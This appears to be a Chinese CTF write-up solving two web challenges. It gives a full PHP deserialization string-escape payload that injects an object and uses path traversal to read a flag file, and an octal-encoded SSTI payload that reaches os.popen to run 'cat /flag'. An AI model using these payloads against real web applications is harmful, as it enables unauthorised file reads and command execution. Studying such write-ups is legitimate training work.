ezus
第一个页面的意思是要我们访问tm.php
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
exit("no way!");
}
if (isset($_GET['source']))
{
$path = basename($_SERVER['PHP_SELF']);
if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
{
exit("nonono!");
}
highlight_file($path);
exit();
}
?>
<a href="index.php?source">source</a>
这个知识点在之前有考到
https://blog.csdn.net/mochu7777777/article/details/127216646
简单来说就是利用linux的解析漏洞,当他的末尾不是一个ascii的可见字符的时候,就会将他丢弃,取出他上面的文件名
但是如果是windows就会正常取出
然后看到tm.php源码
<?php
class UserAccount
{
protected $username;
protected $password;
public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
function object_sleep($str)
{
$ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
return $ob;
}
function object_weakup($ob)
{
$r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
return $r;
}
class order
{
public $f;
public $hint;
public function __construct($hint, $f)
{
$this->f = $f;
$this->hint = $hint;
}
public function __wakeup()
{
//something in hint.php
if ($this->hint != "pass" || $this->f != "pass") {
$this->hint = "pass";
$this->f = "pass";
}
}
public function __destruct()
{
if (filter_var($this->hint, FILTER_VALIDATE_URL))
{
$r = parse_url($this->hint);
if (!empty($this->f)) {
if (strpos($this->f, "try") !== false && strpos($this->f, "pass") !== false) {
@include($this->f . '.php');
} else {
die("try again!");
}
if (preg_match('/prankhub$/', $r['host'])) {
@$out = file_get_contents($this->hint);
echo "<br/>".$out;
} else {
die("<br/>error");
}
} else {
die("try it!");
}
}
else
{
echo "Invalid URL";
}
}
}
$username = $_POST['username'];
$password = $_POST['password'];
$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?>
很明显又看到在进行反序列化的时候进行了对含有private类名的替换以及还原,但是如果我们恶意构造出@0@0@0@让其替换那么我们就可以造成字符串逃逸吃掉后面他的反序列化,自己生成我们的反序列化。
替换一次@0@0@0@变成0x00*0x00
也就是长度由7变成3吃掉四个字符串。我们只需要算出后面我们是需要替换的内容是多少个字符串然后后面的反序列化部分就是由我们自己控制的了,
先看看如何利用,我们看到在order类中由两个读取文件的函数file_get_contents、include可以读取文件
测试发现需要逃逸的地方是后面的24个字符,所以我们只需要构造6个@0@0@0@就可以“吃掉”后面的内容我们就可以直接构造反序列化。
页面有个hint.php进去看了之后找到flag文件名f1111444449999.txt因为include后面拼接了.php所以需要用到下面的file_get_contents
这里用到了应该是php的特性
php在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。
所以我们就可以使用前面构造的payload(php如果识别不了就会当成一个目录)在进行目录穿越,穿越到根目录读取f1111444449999.txt
所以我们构造一个任意的协议,然后将prankhub写在协议后进行目录穿越,到根目录下读取即可
payload:
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:8:"password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:49:"0://prankhub/../../../../../../f1111444449999.txt";}}
没有人比我更懂py
ssti,过滤了全英文。
可以用八进制绕过,而且这里好像全半角变更有问题,过滤是变更之前的,所以如果使用全角输入那么毫无过滤。
所以直接选用payload变更成8进制即可,我这里挑选用的是
"".__class__.__mro__[1].__subclasses__()[132].__init__.__golbals__['popen'][ls].read()
{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()}}